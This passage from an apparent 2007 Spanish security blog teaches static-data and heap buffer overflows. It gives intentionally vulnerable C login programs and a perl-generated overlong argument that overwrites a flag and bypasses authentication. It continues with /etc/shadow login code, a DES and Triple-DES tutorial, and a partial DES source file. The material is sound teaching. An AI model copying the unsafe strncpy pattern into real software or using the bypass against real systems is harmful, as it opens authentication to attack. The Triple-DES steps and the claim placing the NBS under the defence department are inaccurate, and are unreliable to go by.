domingo, 17 de junio de 2007

Static Data Overflow

El Static Data Overflow es un tipo de buffer overflow que se produce con datos estáticos. Estos pueden ser sobreescritos de forma similar a la estudiada en los los buffer overflow o en los heap overflow, es decir, en situaciones en las que el programador no verifica correctamente el tamaño de los datos que copia. Veamos un ejemplo sencillo de Static Data Overflow.


int main(int argc, char *argv[])
{
static int login_ok = 0;
static char user[64];
static char pass[64];

strncpy(user, argv[1], strlen(argv[1]));
strncpy(pass, argv[2], strlen(argv[2]));

printf("User: %s\n", user);
printf("Pass: %s\n", pass);
printf("Login: %d\n", login_ok);

if(login_ok)
{
printf("Access Accept\n");
}
else
{
printf("Access Denied\n");
}

return 0;
}

Como podemos observar en el ejemplo anterior, el programa copia los datos introducidos por el usuario en dos buffers sin verificar correctamente el tamaño de los mismos. Veamos qué ocurre si sobrepasamos los 64 bytes de memoria assignada para las variables user y pass

Esta es la ejecución normal del programa:

$ ./a.out myusername mypass
User: myusername
Pass: mypass
Login: 0
Access Denied

Ahora intentemos sobrepasar el tamaño máximo de la variable user:

$ ./a.out `perl -e 'print "A"x100'` mypass
User: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Pass: mypass
Login: 1094795585
Access Accept


Como vemos el programa nos da acceso sin necesidad de introducir una contraseña correcta. Pero, ¿Qué ha ocurrido? Los datos asignados a las variables user, pass y login_ok están en un espacio contiguo de memoria. Por lo que al sobrepasar el limite de espacio asignado a una de ellas, se sobreescribe el contenido de las demás. Así, si sobrepasamos los 64 bytes de user, sobreescribimos login_ok.

El valor que hemos assignado a login_ok es una cadena de As que ha dado como resultado el valor 1094795585. Aunque cualquier valor diferente de 0 nos hubiese servido igualmente para poder entrar en la sentencia if.

Este tipo de bug está muy relacionado con el heap overflow y/o el buffer overflow, sobre los que ya se ha escrito en este blog. Consultalos para ampliar información.









sábado, 16 de junio de 2007

Heap Overflow

El heap overflow es un tipo de buffer overflow que se produce en un area de memoria denominada heap. La memoria heap se reserva dinamicamente con funciones como por ejemplo malloc() y puede ser sobreescrita de forma similar a la que se produce en los buffer overflow, es decir, en situaciones en las que el programador no verifica correctamente el tamaño de los datos que copia. Veamos un ejemplo sencillo de heap overflow.


int main(int argc, char *argv[])
{
char *user = malloc(64);
char *pass = malloc(64);
int *login_ok = malloc(sizeof(int));
*login_ok=0;

strncpy(user, argv[1], strlen(argv[1]));
strncpy(pass, argv[2], strlen(argv[2]));

printf("User: %s\n", user);
printf("Pass: %s\n", pass);
printf("Login: %d\n", *login_ok);

/* ... check user/pass ... */

if(*login_ok)
{
printf("Access Accept\n");
}
else
{
printf("Access Denied\n");
}

return 0;
}

Como podemos observar en el ejemplo anterior, el programa copia los datos introducidos por el usuario en dos buffers cuya memoria ha sido reservada con malloc() sin verificar su longitud máxima.
Pero, ¿Qué ocurre si sobrepasamos los 64 bytes de memoria reservada para las variables user y pass? Veamoslo con un ejemplo.

Esta es la ejecución normal del programa:

$ ./a.out myusername mypass
User: myusername
Pass: mypass
Login: 0
Access Denied

Ahora intentemos sobrepasar el tamaño máximo de la variable pass:


./a.out myusername `perl -e 'print "A"x100'`
User: myusername
Pass: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Login: 1094795585
Access Accept

Como vemos el programa nos da acceso sin necesidad de introducir una contraseña correcta. Pero, ¿Qué ha ocurrido? La respuesta es bastantes sencilla. Al reservar memoria con malloc() se nos ha assignado un espacio contiguo de memoria para las variables user, pass y login_ok. Por lo que al sobrepasar el limite de espacio asignado a una de ellas, se sobreescribe el contenido de las demás. Así, si sobrepasamos los 64 bytes de user, sobreescribimos pass y a continuación login_ok. O, como hemos hecho en el ejemplo, si sobrepassamos los 64 bytes de pass, sobreescribimos login_ok.

El valor que hemos assignado a login_ok es una cadena de As que ha dado como resultado el valor 1094795585. Aunque cualquier valor diferente de 0 nos hubiese servido igualmente para poder entrar en la sentencia if.

Existen diferentes maneras de aprovechar un heap overflow para explotar un programa. Estas dependen en gran medida de la imaginación del atacante. Lo más común es sobreescribir directamente una variable como hemos hecho en el ejemplo o modificar un puntero para que salte a cierto código controlado (ver buffer overflow). En cualquier caso, como ya se comentaba en el documento sobre buffer overflow, es necesario verificar correctamente la cantidad de datos que se escribe en los buffers.









sábado, 9 de junio de 2007

Cómo hacer login en UNIX con C

A veces es necesario escribir un programa en C que lea de /etc/passwd y/o /etc/shadow para hacer login. Para este propósito, UNIX ofrece las funciones getpwnam() y getspnam() que permiten acceder a /etc/passwd y /etc/shadow respectivamente. Cada una de estas funciones retorna una estructura con los datos del usuario a partir de su nombre. Las estructuras son las siguientes:




/* Para /etc/passwd usando getpwnam() */

struct passwd
{
char *pw_name; /* user name */
char *pw_passwd; /* user password */
uid_t pw_uid; /* user ID */
gid_t pw_gid; /* group ID */
char *pw_gecos; /* real name */
char *pw_dir; /* home directory */
char *pw_shell; /* shell program */
};



/* Para /etc/shadow usando getspnam() */

struct spwd
{
char *sp_namp; /* Login name */
char *sp_pwdp; /* Encrypted password */
long sp_lstchg; /* Date of last change */
long sp_min; /* Min #days between changes */
long sp_max; /* Max #days between changes */
long sp_warn; /* #days before pwd expires
to warn user to change it */
long sp_inact; /* #days after pwd expires
until account is disabled */
long sp_expire; /* #days since 1970-01-01
until account is disabled */
unsigned long sp_flag; /* Reserved */
};



A continuación pego unas funciones de ejemplo que permiten hacer login. Con ellas se puede verificar un par user/pass de forma muy simple.


...
if(auth_is_valid_user(user, pass))
login_ok = 1;
...


Para las siguientes funciones es necesario incluir las cabeceras pwd.h, shadow.h y crypt.h. Para compilar, es necesaria la librería crypt (ej: gcc test.c -lcrypt).



int auth_check_pass(const char *clear_pass, const char *encrypted_pass)
{
char *encrypted = crypt(clear_pass, encrypted_pass);

if (strcmp(encrypted, encrypted_pass) == 0)
return 1;
else
return 0;
}

int auth_is_valid_user(const char *user, const char* pass)
{
struct passwd *pw = getpwnam(user);
if(pw==NULL)
return 0;

// password in /etc/shadow
if(strcmp(pw->pw_passwd, "x")==0)
{
/* Solo root puede leer /etc/shadow por lo que esta parte no
funcionara a menos que la ejecute root o el archivo este
setuidado */

struct spwd *sp = getspnam(user);
if(sp==NULL)
return 0;

if(auth_check_pass(pass, sp->sp_pwdp))
return 1;
}

// password in /etc/passwd
else
{
if(auth_check_pass(pass, pw->pw_passwd))
return 1;
}

return 0;
}


martes, 5 de junio de 2007

DES y Triple-DES

El algoritmo DES está basado en el algoritmo Lucifer, diseñado por IBM a principios de los setenta. Después de algunas modificaciones de la NSA (National Security Agency), fué publicado en 1977 por el NBS (National Bureau of Standards), una sección del departamento de defensa de los EEUU.

DES utiliza claves de 56 bits y un cifrado de bloques de 64 bits.

Esquema general:

El algoritmo DES cifra la información por bloques, es decir, el texto en claro debe ser dividido en bloques de 64 bits que serán cifrados uno tras otro.

DES utiliza claves de 56 bits, aunque estas suelen distribuirse en forma de números de 64 bits. De estos 64 bits, uno de cada ocho, es utilizado como bit de paridad (64-8=56).

A grandes rasgos el algoritmo DES sigue el siguiente esquema:



Bloque de entrada 64 bits
|
-----
| A |
-----
|
------------------
| 16 iteraciones |
------------------
|
-----
| B |
-----
|
Bloque de salida 64 bits




La tabla de permutación A:
Después de recibir un bloque de entrada de 64 bits, el primer paso consiste en aplicar al bloque de entrada una permutación A mediante la tabla siguiente:


--------------------------
| Tabla de permutación A |
--------------------------
| 58 50 42 34 26 18 10 2 |
| 60 52 44 36 28 20 12 4 |
| 62 54 46 38 30 22 14 6 |
| 64 56 48 40 32 24 16 8 |
| 57 49 41 33 25 17 9 1 |
| 59 51 43 35 27 19 11 3 |
| 61 53 45 37 29 21 13 5 |
| 63 55 47 39 31 23 15 7 |
--------------------------


El primer bit de la entrada será colocado en la posición 58, el segundo bit en la posición 50 ...


La tabla de permutación B:
De la misma manera, después de las 16 iteraciones se realiza otra permutación mediante la tabla B:



--------------------------
| Tabla de permutación B |
--------------------------
| 40 8 48 16 56 24 64 32 |
| 39 7 47 15 55 23 63 31 |
| 38 6 46 14 54 22 62 30 |
| 37 5 45 13 53 21 61 29 |
| 36 4 44 12 52 20 60 28 |
| 35 3 43 11 51 19 59 27 |
| 34 2 42 10 50 18 58 26 |
| 33 1 41 9 49 17 57 25 |
--------------------------



El primer bit de la entrada será colocado en la posición 40, el segundo bit en la posición 8 ...

Las 16 iteraciones:
Después de la permutación A y antes de la B, el algoritmo DES realiza 16 iteraciones. Cada iteración realiza lo siguiente:

  1. Los 64 bits de entrada se dividen en dos partes de 32 bits.
  2. La mitad de la derecha (R) se introduce en una función (f) que se describirá más adelante.

  3. Se realiza un XOR entre la salida de la función y la parte izquierda (L).
  4. El resultado (32 bits) pasará a ser la parte derecha de la siguiente iteración, mientras que la parte derecha actual pasará a ser la parte izuierda.

    Li+1 = Ri

    Ri+1 = Li XOR f(Ri,K)



En la última iteración (i=16) no se realizará el paso 4.

La función F:
Ahora pasamos a describir la función f, veamos un esquema general:





D i-1
|
| 32 bits
-----
| C |
-----
| 48 bits
|
XOR --- K (48 bits)
|
|
--------------------------------------------------------------
|||||| |||||| |||||| |||||| |||||| |||||| |||||| ||||||
------ ------ ------ ------ ------ ------ ------ ------
| S1 | | S2 | | S3 | | S4 | | S5 | | S6 | | S7 | | S8 |
------ ------ ------ ------ ------ ------ ------ ------
|||| |||| |||| |||| |||| |||| |||| ||||
------------------------------------------------------------
| 32 bits
|
-----
| P |
-----
| 32 bits
|


Los 32 bits de la parte derecha entran en la función f. El primer paso consiste en transformar la entrada de 32 bits a 48 bits mediante la tabla C.




--------------------------
| Tabla transformación C |
--------------------------
| 32 1 2 3 4 5 |
| 4 5 6 7 8 9 |
| 8 9 10 11 12 13 |
| 12 13 14 15 16 17 |
| 16 17 18 19 20 21 |
| 20 21 22 23 24 25 |
| 24 25 26 27 28 29 |
| 28 29 30 31 32 1 |
--------------------------


A continuación se realiza un XOR con una subclave de 48 bits. Dado que la clave inicial era de 56 bits (representada como 64 bits) es necesario generar, a partir de esta, subclaves de 48 bits. Más adelante se describe detalladamente el proceso de generación de subclaves.

A continuación los 48 bits se dividen en bloques de 6 bits, cada uno de de los cuales es utilizado como entrada de lo que se conoce como una caja S. Observe el esquema anterior.

Los 6 bits que forman cada bloque b1, b2, b3, b4, b5 y b6, son utilizados para leer de cada caja S. b1 y b6 indican la fila mientras que b2, b3, b4, y b5 indican la columna. Es decir, si utilizamos como entrada 000011, b1b6 -> 01 indican la primera fila y b2b3b4b5 -> 00001 indican la primera columna.

A continuación se muestran las ocho cajas S existentes:




S-1
---------------------------------------------------
| 14 04 13 01 02 15 11 08 03 10 06 12 05 09 00 07 |
| 00 15 07 04 14 02 13 01 10 06 12 11 09 05 03 08 |
| 04 01 14 08 13 06 02 11 15 12 09 07 03 10 05 00 |
| 15 12 08 02 04 09 01 07 05 11 03 14 10 00 06 13 |
---------------------------------------------------

S-2
---------------------------------------------------
| 15 01 08 14 06 11 03 04 09 07 02 13 12 00 05 10 |
| 03 13 04 07 15 02 08 14 12 00 01 10 06 09 11 05 |
| 00 14 07 11 10 04 13 01 04 08 12 06 09 03 02 15 |
| 13 08 10 01 03 15 04 02 11 06 07 12 00 05 14 09 |
---------------------------------------------------

S-3
---------------------------------------------------
| 10 00 09 14 06 03 15 05 01 13 12 07 11 04 02 08 |
| 13 07 00 09 03 04 06 10 02 08 05 14 12 11 15 01 |
| 13 06 04 09 08 15 03 00 11 01 02 12 05 10 14 07 |
| 01 10 13 00 06 09 08 07 04 15 14 03 11 05 02 12 |
---------------------------------------------------

S-4
---------------------------------------------------
| 07 13 14 03 00 06 09 10 01 02 08 05 11 12 04 15 |
| 13 08 11 05 06 15 00 03 04 07 02 12 01 10 14 09 |
| 10 06 09 00 12 11 07 13 15 01 03 14 05 02 08 04 |
| 03 15 00 06 10 01 13 08 09 04 05 11 12 07 02 14 |
---------------------------------------------------

S-5
---------------------------------------------------
| 02 12 04 01 07 10 11 06 08 05 03 15 13 00 14 09 |
| 14 11 02 12 04 07 13 01 05 00 15 10 03 09 08 06 |
| 04 02 01 11 10 13 07 08 15 09 12 05 06 03 00 14 |
| 11 08 12 07 01 14 02 13 06 15 00 09 10 04 05 03 |
---------------------------------------------------

S-6
---------------------------------------------------
| 12 01 10 15 09 02 06 08 00 13 03 04 14 07 05 11 |
| 10 15 04 02 07 12 09 05 06 01 13 14 00 11 03 08 |
| 09 14 15 05 02 08 12 03 07 00 04 10 01 13 11 06 |
| 04 03 02 12 09 05 15 10 11 14 01 07 06 00 08 13 |
---------------------------------------------------

S-7
---------------------------------------------------
| 04 11 02 14 15 00 08 13 03 12 09 07 05 10 06 01 |
| 13 00 11 07 04 09 01 10 14 03 05 12 02 15 08 06 |
| 01 04 11 13 12 03 07 14 10 15 06 08 00 05 09 02 |
| 06 11 13 08 01 04 10 07 09 05 00 15 14 02 03 12 |
---------------------------------------------------

S-8
---------------------------------------------------
| 13 02 08 04 06 15 11 01 10 09 03 14 05 00 12 07 |
| 01 15 13 08 10 03 07 04 12 05 06 11 00 14 09 02 |
| 07 11 04 01 09 12 14 02 00 06 10 13 15 03 05 08 |
| 02 01 14 07 04 10 08 13 15 12 09 00 03 05 06 11 |
---------------------------------------------------




Generación de subclaves K:
Este esquema se realiza para cada una de las iteraciones:




K (56 bits)
|
-----
| D |
-----
|
---------------------
| |
------------------ ------------------
| Desplazamiento | | Desplazamiento |
------------------ ------------------
| |
---------------------
|
-----
| E |
-----
|
ki (48 bits)



El primer paso consiste en una permutación mediante la tabla D:


------------------------
| Tabla permutación D |
------------------------
| 57 49 41 33 25 17 09 |
| 01 58 50 42 34 26 18 |
| 10 02 59 51 43 35 27 |
| 19 11 03 60 52 44 36 |
| 63 55 47 39 31 23 15 |
| 07 62 54 46 38 30 22 |
| 14 06 61 53 45 37 29 |
| 21 13 05 28 20 12 04 |
------------------------


Los 56 bits se dividen en dos partes de 28 bits. Cada una de estas partes rota hacia la izquierda un número X de bits en cada iteración, conforme a la tabla siguiente:



----------------------------------------------------------------------
| Iteración | 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 |
| Desplazamiento | 1 1 2 2 2 2 2 2 2 2 2 2 2 2 2 1 |
----------------------------------------------------------------------


Finalmente, mediante la tabla de compresión E los 56 bits (28+28) del resultado se comprimen formando una subclave de 48 bits (la utilizada en la función f).


--------------------------
| Tabla de compresión E |
--------------------------
| 14 17 11 24 01 05 |
| 03 28 15 06 21 10 |
| 23 19 12 04 26 08 |
| 16 07 27 20 13 02 |
| 41 52 31 37 47 55 |
| 30 40 51 45 33 48 |
| 44 49 39 56 34 53 |
| 46 42 50 36 29 32 |
--------------------------




Descifrado en DES
Una de las partes positivas de DES es que podemos descifrar los mensajes utilizando el mismo algoritmo que utilizamos para cifrar. La única diferencia consiste en el orden en que se aplican la subclaves, dado que en el descifrado se utilizan en orden inverso. Es decir, primero se utiliza la subclave k16, después la k15 ... k1.


Debilidades del algoritmo DES
Desde la aparición del algoritmo DES han surgido algunas críticas sobr el criptosistema. La principal es la longitud de la clave, de solo 56 bits, que hacen posible los ataques de fuerza bruta.

Por otra parte, la arbitrariedad de las cajas S, podría ser causa de la existencia de una clave maestra que permitiese descifrar cualquier mensaje.

Una forma de solucionar el problema de la longitud de la clave es el uso del cifrado triple, conocido como Triple DES. La clave utilizada por Triple DES es de 128 bits (112 de clave y 16 de paridad) , es decir, dos claves de 64 bits (56 de clave y 8 de paridad) de los utilizados en DES. El motivo de utilizar este de tipo de clave es la compatibilidad con DES. Si la clave utilizada es el conjunto de dos claves DES iguales el resultado será el mismo para DES y para Triple DES.

Triple DES
Para cifrar mediante el algoritmo Triple DES seguiremos los siguientes pasos:

- Dividir la clave de 128 bits en dos partes de 64 bits: k1 y k2.
- Cifrar el texto en claro con k1. El resultado es conocido como ANTIDES.
- Cifrar ANTIDES con k2.
- Cifrar el resultado con k1.
- Si k1=k2 el resultado coincide con un cifrado mediante DES.


Otra forma de utilizar Triple DES es con una clave de 192 bits (168 bits de clave y 24 bits de paridad). En este caso se cifrará primero con k1, a continuación con k2 y finalmente con k3.
Para ser compatible con DES es necesario que k1=k2=k3.


Implementación en C




/* ---- H source file: des.h ---- */

/**
* \file des.h
*/
#ifndef _DES_H
#define _DES_H

#ifdef __cplusplus
extern "C" {
#endif

/**
* \brief DES context structure
*/
typedef struct
{
unsigned long esk[32]; /*!< DES encryption subkeys */
unsigned long dsk[32]; /*!< DES decryption subkeys */
}
des_context;

/**
* \brief Triple-DES context structure
*/
typedef struct
{
unsigned long esk[96]; /*!< Triple-DES encryption subkeys */
unsigned long dsk[96]; /*!< Triple-DES decryption subkeys */
}
des3_context;

/**
* \brief DES key schedule (56-bit)
*
* \param ctx DES context to be initialized
* \param key 8-byte secret key
*/
void des_set_key( des_context *ctx, unsigned char key[8] );

/**
* \brief DES block encryption (ECB mode)
*
* \param ctx DES context
* \param input plaintext block
* \param output ciphertext block
*/
void des_encrypt( des_context *ctx,
unsigned char input[8],
unsigned char output[8] );

/**
* \brief DES block decryption (ECB mode)
*
* \param ctx DES context
* \param input ciphertext block
* \param output plaintext block
*/
void des_decrypt( des_context *ctx,
unsigned char input[8],
unsigned char output[8] );

/**
* \brief DES-CBC buffer encryption
*
* \param ctx DES context
* \param iv initialization vector (modified after use)
* \param input buffer holding the plaintext
* \param output buffer holding the ciphertext
* \param len length of the data to be encrypted
*/
void des_cbc_encrypt( des_context *ctx,
unsigned char iv[8],
unsigned char *input,
unsigned char *output,
int len );

/**
* \brief DES-CBC buffer decryption
*
* \param ctx DES context
* \param iv initialization vector (modified after use)
* \param input buffer holding the ciphertext
* \param output buffer holding the plaintext
* \param len length of the data to be decrypted
*/
void des_cbc_decrypt( des_context *ctx,
unsigned char iv[8],
unsigned char *input,
unsigned char *output,
int len );

/**
* \brief Triple-DES key schedule (112-bit)
*
* \param ctx 3DES context to be initialized
* \param key 16-byte secret key
*/
void des3_set_2keys( des3_context *ctx, unsigned char key[16] );

/**
* \brief Triple-DES key schedule (168-bit)
*
* \param ctx 3DES context to be initialized
* \param key 24-byte secret key
*/
void des3_set_3keys( des3_context *ctx, unsigned char key[24] );

/**
* \brief Triple-DES block encryption (ECB mode)
*
* \param ctx 3DES context
* \param input plaintext block
* \param output ciphertext block
*/
void des3_encrypt( des3_context *ctx,
unsigned char input[8],
unsigned char output[8] );

/**
* \brief Triple-DES block decryption (ECB mode)
*
* \param ctx 3DES context
* \param input ciphertext block
* \param output plaintext block
*/
void des3_decrypt( des3_context *ctx,
unsigned char input[8],
unsigned char output[8] );

/**
* \brief 3DES-CBC buffer encryption
*
* \param ctx 3DES context
* \param iv initialization vector (modified after use)
* \param input buffer holding the plaintext
* \param output buffer holding the ciphertext
* \param len length of the data to be encrypted
*/
void des3_cbc_encrypt( des3_context *ctx,
unsigned char iv[8],
unsigned char *input,
unsigned char *output,
int len );

/**
* \brief 3DES-CBC buffer decryption
*
* \param ctx 3DES context
* \param iv initialization vector (modified after use)
* \param input buffer holding the ciphertext
* \param output buffer holding the plaintext
* \param len length of the data to be decrypted
*/
void des3_cbc_decrypt( des3_context *ctx,
unsigned char iv[8],
unsigned char *input,
unsigned char *output,
int len );

/*
* \brief Checkup routine
*
* \return 0 if successful, or 1 if the test failed
*/
int des_self_test( void );

#ifdef __cplusplus
}
#endif

#endif /* des.h */








/* ---- C source file: des.c ---- */

/*
* FIPS-46-3 compliant Triple-DES implementation
*
* Copyright (C) 2003-2006 Christophe Devine
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License, version 2.1 as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301 USA
*/
/*
* DES, on which TDES is based, was originally designed by IBM in
* 1974 and adopted as a standard by NIST (formerly NBS).
*
* http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf
*/


#ifndef _CRT_SECURE_NO_DEPRECATE
#define _CRT_SECURE_NO_DEPRECATE 1
#endif

#include

#include "des.h"

/*
* 32-bit integer manipulation macros (big endian)
*/
#ifndef GET_UINT32_BE
#define GET_UINT32_BE(n,b,i) \
{ \
(n) = ( (unsigned long) (b)[(i) ] << 24 ) \
| ( (unsigned long) (b)[(i) + 1] << 16 ) \
| ( (unsigned long) (b)[(i) + 2] << 8 ) \
| ( (unsigned long) (b)[(i) + 3] ); \
}
#endif
#ifndef PUT_UINT32_BE
#define PUT_UINT32_BE(n,b,i) \
{ \
(b)[(i) ] = (unsigned char) ( (n) >> 24 ); \
(b)[(i) + 1] = (unsigned char) ( (n) >> 16 ); \
(b)[(i) + 2] = (unsigned char) ( (n) >> 8 ); \
(b)[(i) + 3] = (unsigned char) ( (n) ); \
}
#endif

/*
* Expanded DES S-boxes
*/
static const unsigned long SB1[64] =
{
0x01010400, 0x00000000, 0x00010000, 0x01010404,
0x01010004, 0x00010404, 0x00000004, 0x00010000,
0x00000400, 0x01010400, 0x01010404, 0x00000400,
0x01000404, 0x01010004, 0x01000000, 0x00000004,
0x00000404, 0x01000400, 0x01000400, 0x00010400,
0x00010400, 0x01010000, 0x01010000, 0x01000404,
0x00010004, 0x01000004, 0x01000004, 0x00010004,
0x00000000, 0x00000404, 0x00010404, 0x01000000,
0x00010000, 0x01010404, 0x00000004, 0x01010000,
0x01010400, 0x01000000, 0x01000000, 0x00000400,
0x01010004, 0x00010000, 0x00010400, 0x01000004,
0x00000400, 0x00000004, 0x01000404, 0x00010404,
0x01010404, 0x00010004, 0x01010000, 0x01000404,
0x01000004, 0x00000404, 0x00010404, 0x01010400,
0x00000404, 0x01000400, 0x01000400, 0x00000000,
0x00010004, 0x00010400, 0x00000000, 0x01010004
};

static const unsigned long SB2[64] =
{
0x80108020, 0x80008000, 0x00008000, 0x00108020,
0x00100000, 0x00000020, 0x80100020, 0x80008020,
0x80000020, 0x80108020, 0x80108000, 0x80000000,
0x80008000, 0x00100000, 0x00000020, 0x80100020,
0x00108000, 0x00100020, 0x80008020, 0x00000000,
0x80000000, 0x00008000, 0x00108020, 0x80100000,
0x00100020, 0x80000020, 0x00000000, 0x00108000,
0x00008020, 0x80108000, 0x80100000, 0x00008020,
0x00000000, 0x00108020, 0x80100020, 0x00100000,
0x80008020, 0x80100000, 0x80108000, 0x00008000,
0x80100000, 0x80008000, 0x00000020, 0x80108020,
0x00108020, 0x00000020, 0x00008000, 0x80000000,
0x00008020, 0x80108000, 0x00100000, 0x80000020,
0x00100020, 0x80008020, 0x80000020, 0x00100020,
0x00108000, 0x00000000, 0x80008000, 0x00008020,
0x80000000, 0x80100020, 0x80108020, 0x00108000
};

static const unsigned long SB3[64] =
{
0x00000208, 0x08020200, 0x00000000, 0x08020008,
0x08000200, 0x00000000, 0x00020208, 0x08000200,
0x00020008, 0x08000008, 0x08000008, 0x00020000,
0x08020208, 0x00020008, 0x08020000, 0x00000208,
0x08000000, 0x00000008, 0x08020200, 0x00000200,
0x00020200, 0x08020000, 0x08020008, 0x00020208,
0x08000208, 0x00020200, 0x00020000, 0x08000208,
0x00000008, 0x08020208, 0x00000200, 0x08000000,
0x08020200, 0x08000000, 0x00020008, 0x00000208,
0x00020000, 0x08020200, 0x08000200, 0x00000000,
0x00000200, 0x00020008, 0x08020208, 0x08000200,
0x08000008, 0x00000200, 0x00000000, 0x08020008,
0x08000208, 0x00020000, 0x08000000, 0x08020208,
0x00000008, 0x00020208, 0x00020200, 0x08000008,
0x08020000, 0x08000208, 0x00000208, 0x08020000,
0x00020208, 0x00000008, 0x08020008, 0x00020200
};

static const unsigned long SB4[64] =
{
0x00802001, 0x00002081, 0x00002081, 0x00000080,
0x00802080, 0x00800081, 0x00800001, 0x00002001,
0x00000000, 0x00802000, 0x00802000, 0x00802081,
0x00000081, 0x00000000, 0x00800080, 0x00800001,
0x00000001, 0x00002000, 0x00800000, 0x00802001,
0x00000080, 0x00800000, 0x00002001, 0x00002080,
0x00800081, 0x00000001, 0x00002080, 0x00800080,
0x00002000, 0x00802080, 0x00802081, 0x00000081,
0x00800080, 0x00800001, 0x00802000, 0x00802081,
0x00000081, 0x00000000, 0x00000000, 0x00802000,
0x00002080, 0x00800080, 0x00800081, 0x00000001,
0x00802001, 0x00002081, 0x00002081, 0x00000080,
0x00802081, 0x00000081, 0x00000001, 0x00002000,
0x00800001, 0x00002001, 0x00802080, 0x00800081,
0x00002001, 0x00002080, 0x00800000, 0x00802001,
0x00000080, 0x00800000, 0x00002000, 0x00802080
};

static const unsigned long SB5[64] =
{
0x00000100, 0x02080100, 0x02080000, 0x42000100,
0x00080000, 0x00000100, 0x40000000, 0x02080000,
0x40080100, 0x00080000, 0x02000100, 0x40080100,
0x42000100, 0x42080000, 0x00080100, 0x40000000,
0x02000000, 0x40080000, 0x40080000, 0x00000000,
0x40000100, 0x42080100, 0x42080100, 0x02000100,
0x42080000, 0x40000100, 0x00000000, 0x42000000,
0x02080100, 0x02000000, 0x42000000, 0x00080100,
0x00080000, 0x42000100, 0x00000100, 0x02000000,
0x40000000, 0x02080000, 0x42000100, 0x40080100,
0x02000100, 0x40000000, 0x42080000, 0x02080100,
0x40080100, 0x00000100, 0x02000000, 0x42080000,
0x42080100, 0x00080100, 0x42000000, 0x42080100,
0x02080000, 0x00000000, 0x40080000, 0x42000000,
0x00080100, 0x02000100, 0x40000100, 0x00080000,
0x00000000, 0x40080000, 0x02080100, 0x40000100
};

static const unsigned long SB6[64] =
{
0x20000010, 0x20400000, 0x00004000, 0x20404010,
0x20400000, 0x00000010, 0x20404010, 0x00400000,
0x20004000, 0x00404010, 0x00400000, 0x20000010,
0x00400010, 0x20004000, 0x20000000, 0x00004010,
0x00000000, 0x00400010, 0x20004010, 0x00004000,
0x00404000, 0x20004010, 0x00000010, 0x20400010,
0x20400010, 0x00000000, 0x00404010, 0x20404000,
0x00004010, 0x00404000, 0x20404000, 0x20000000,
0x20004000, 0x00000010, 0x20400010, 0x00404000,
0x20404010, 0x00400000, 0x00004010, 0x20000010,
0x00400000, 0x20004000, 0x20000000, 0x00004010,
0x20000010, 0x20404010, 0x00404000, 0x20400000,
0x00404010, 0x20404000, 0x00000000, 0x20400010,
0x00000010, 0x00004000, 0x20400000, 0x00404010,
0x00004000, 0x00400010, 0x20004010, 0x00000000,
0x20404000, 0x20000000, 0x00400010, 0x20004010
};

static const unsigned long SB7[64] =
{
0x00200000, 0x04200002, 0x04000802, 0x00000000,
0x00000800, 0x04000802, 0x00200802, 0x04200800,
0x04200802, 0x00200000, 0x00000000, 0x04000002,
0x00000002, 0x04000000, 0x04200002, 0x00000802,
0x04000800, 0x00200802, 0x00200002, 0x04000800,
0x04000002, 0x04200000, 0x04200800, 0x00200002,
0x04200000, 0x00000800, 0x00000802, 0x04200802,
0x00200800, 0x00000002, 0x04000000, 0x00200800,
0x04000000, 0x00200800, 0x00200000, 0x04000802,
0x04000802, 0x04200002, 0x04200002, 0x00000002,
0x00200002, 0x04000000, 0x04000800, 0x00200000,
0x04200800, 0x00000802, 0x00200802, 0x04200800,
0x00000802, 0x04000002, 0x04200802, 0x04200000,
0x00200800, 0x00000000, 0x00000002, 0x04200802,
0x00000000, 0x00200802, 0x04200000, 0x00000800,
0x04000002, 0x04000800, 0x00000800, 0x00200002
};

static const unsigned long SB8[64] =
{
0x10001040, 0x00001000, 0x00040000, 0x10041040,
0x10000000, 0x10001040, 0x00000040, 0x10000000,
0x00040040, 0x10040000, 0x10041040, 0x00041000,
0x10041000, 0x00041040, 0x00001000, 0x00000040,
0x10040000, 0x10000040, 0x10001000, 0x00001040,
0x00041000, 0x00040040, 0x10040040, 0x10041000,
0x00001040, 0x00000000, 0x00000000, 0x10040040,
0x10000040, 0x10001000, 0x00041040, 0x00040000,
0x00041040, 0x00040000, 0x10041000, 0x00001000,
0x00000040, 0x10040040, 0x00001000, 0x00041040,
0x10001000, 0x00000040, 0x10000040, 0x10040000,
0x10040040, 0x10000000, 0x00040000, 0x10001040,
0x00000000, 0x10041040, 0x00040040, 0x10000040,
0x10040000, 0x10001000, 0x10001040, 0x00000000,
0x10041040, 0x00041000, 0x00041000, 0x00001040,
0x00001040, 0x00040040, 0x10000000, 0x10041000
};

/*
* PC1: left and right halves bit-swap
*/
static const unsigned long LHs[16] =
{
0x00000000, 0x00000001, 0x00000100, 0x00000101,
0x00010000, 0x00010001, 0x00010100, 0x00010101,
0x01000000, 0x01000001, 0x01000100, 0x01000101,
0x01010000, 0x01010001, 0x01010100, 0x01010101
};

static const unsigned long RHs[16] =
{
0x00000000, 0x01000000, 0x00010000, 0x01010000,
0x00000100, 0x01000100, 0x00010100, 0x01010100,
0x00000001, 0x01000001, 0x00010001, 0x01010001,
0x00000101, 0x01000101, 0x00010101, 0x01010101,
};

/*
* Initial Permutation macro
*/
#define DES_IP(X,Y) \
{ \
T = ((X >> 4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T << 4); \
T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16); \
T = ((Y >> 2) ^ X) & 0x33333333; X ^= T; Y ^= (T << 2); \
T = ((Y >> 8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T << 8); \
Y = ((Y << 1) | (Y >> 31)) & 0xFFFFFFFF; \
